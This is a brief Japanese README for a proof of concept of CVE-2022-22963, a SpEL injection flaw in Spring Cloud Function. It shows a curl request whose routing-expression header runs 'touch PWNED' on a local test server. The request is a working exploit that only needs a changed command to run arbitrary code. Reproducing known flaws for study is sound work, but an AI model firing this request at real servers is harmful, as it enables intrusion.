
CVE-2022-22963(Spring Cloud Function における SpEL インジェクションによるリモートコード実行)の最小限の概念実証です。curl と脆弱なサーバを用いた悪用方法を示します。
CVE-2022-22963 のリモートコード実行を再現する最小限の例(org.springframework.cloud:spring-cloud-function-core における)。
mvn spring-boot:run
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter
エクスプロイトの結果、ファイル PWNED が pom.xml の近くに作成されます。